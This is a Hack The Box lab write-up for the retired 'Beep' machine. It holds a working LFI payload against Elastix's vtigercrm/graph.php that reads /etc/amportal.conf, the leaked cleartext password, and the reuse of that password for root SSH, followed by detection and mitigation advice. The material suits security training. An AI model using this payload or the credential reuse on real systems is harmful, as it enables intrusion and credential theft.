Skip to content
Pwnversity
BEEP6 min · upd. 2026-11

Beep

linuxlfielastixreutilizacion-credencialesssh
Platform Hack The Box (retired)
OS Linux (old CentOS) — beep
Difficulty Medium
Approx. time ~20 min
Chain Elastix/FreePBX → LFI in graph.php (Exploit-DB 37637) → amportal.conf (AMPDBPASS) → reuse → SSH root
flowchart TD
  A["Many open services"] --> B["HTTPS: Elastix (FreePBX + vtigerCRM)"]
  B -->|LFI in vtigercrm/graph.php| C["Read /etc/amportal.conf"]
  C -->|AMPDBPASS in clear| D["Reused password"]
  D -->|SSH as root| E["root (user.txt + root.txt)"]
  • Beep exposes a huge number of services, which is overwhelming. The key one: Elastix runs over HTTPS (a VoIP distro with FreePBX and vtigerCRM).
  • Elastix 2.x has an LFI in vtigercrm/graph.php (Exploit-DB 37637). With it we read /etc/amportal.conf, which contains cleartext credentials (AMPDBPASS, etc.).
  • The machine reuses passwords: that password works to SSH in directly as root. No escalation.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see: a huge list of services (SSH, SMTP, HTTP/HTTPS, POP3, IMAP, MySQL, Asterisk…).

    What I think: too many vectors; it’s easy to get lost. I focus on HTTPS (443), usually the management panel. → Network service enumeration

  1. Identify Elastix

    What I do: I browse to 443 and fuzz directories.

    What I see: the site is an Elastix install (FreePBX + vtigerCRM + several panels).

    What I think: Elastix 2.x has known vulnerabilities. I search: one of the cleanest is an LFI in vtigerCRM. → Local File Inclusion

  2. Exploit the LFI (Exploit-DB 37637)

    What I do:

    Ventana de terminal
    curl -k "https://$IP/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action"

    What I see: the contents of /etc/amportal.conf, with cleartext credentials:

    AMPDBPASS=jEhdIekWmdjE
    AMPMGRPASS=jEhdIekWmdjE
    ...

    Why it works: graph.php uses the current_language parameter to build a file path without sanitizing it. The ../../ path traversal climbs to the root and the null byte %00 cuts off the extension the app would append, letting us read any file (works due to the old PHP version). → Local File Inclusion and path traversal

  1. Try the password over SSH

    What I think: Elastix stores several passwords in amportal.conf. On poorly maintained boxes, the panel password is reused for the system account. I try AMPDBPASS as root over SSH. → Credential hunting and reuse

    What I do:

    Ventana de terminal
    ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa root@$IP
    # AMPDBPASS

    What I see: direct access as root.

    user.txt → /home/fanis/user.txt · root.txt → /root/root.txt (redacted).


There are too many ports. Don’t chase them all: which is the HTTPS management panel?

What I tried Result How I ruled it out
Chasing every service (SMTP, IMAP, MySQL…) Noise The clean vector was the Elastix LFI
FreePBX RCE (CVE-2012-4869) More complex LFI + reuse gave root with fewer steps
Modern SSH without compatibility flags “no matching key exchange” You must force the old algorithms
  • Many ports → don’t scatter. Prioritize the admin panel (HTTPS) over poking each service.
  • Identified product → look up its CVE/LFI. Elastix + vtigerCRM = Exploit-DB 37637 directly.
  • LFI → read config files with secrets (amportal.conf, wp-config.php, config.php, .env).
  • Password reuse is the norm: a panel’s password often opens SSH. Try it against root and other users.
  • Old services → SSH compatibility flags. Don’t mistake “can’t connect” for “the credential is bad”.
Phase Detection Mitigation
LFI in graph.php Logs with current_language=../ and %00 Update Elastix/vtigerCRM; sanitize paths; modern PHP (no null byte)
Reading amportal.conf Access to config files via the web Strict permissions; don’t serve sensitive files
SSH as root reusing the pass Root SSH login from an external IP Don’t reuse passwords; disable root SSH login; keys instead of passwords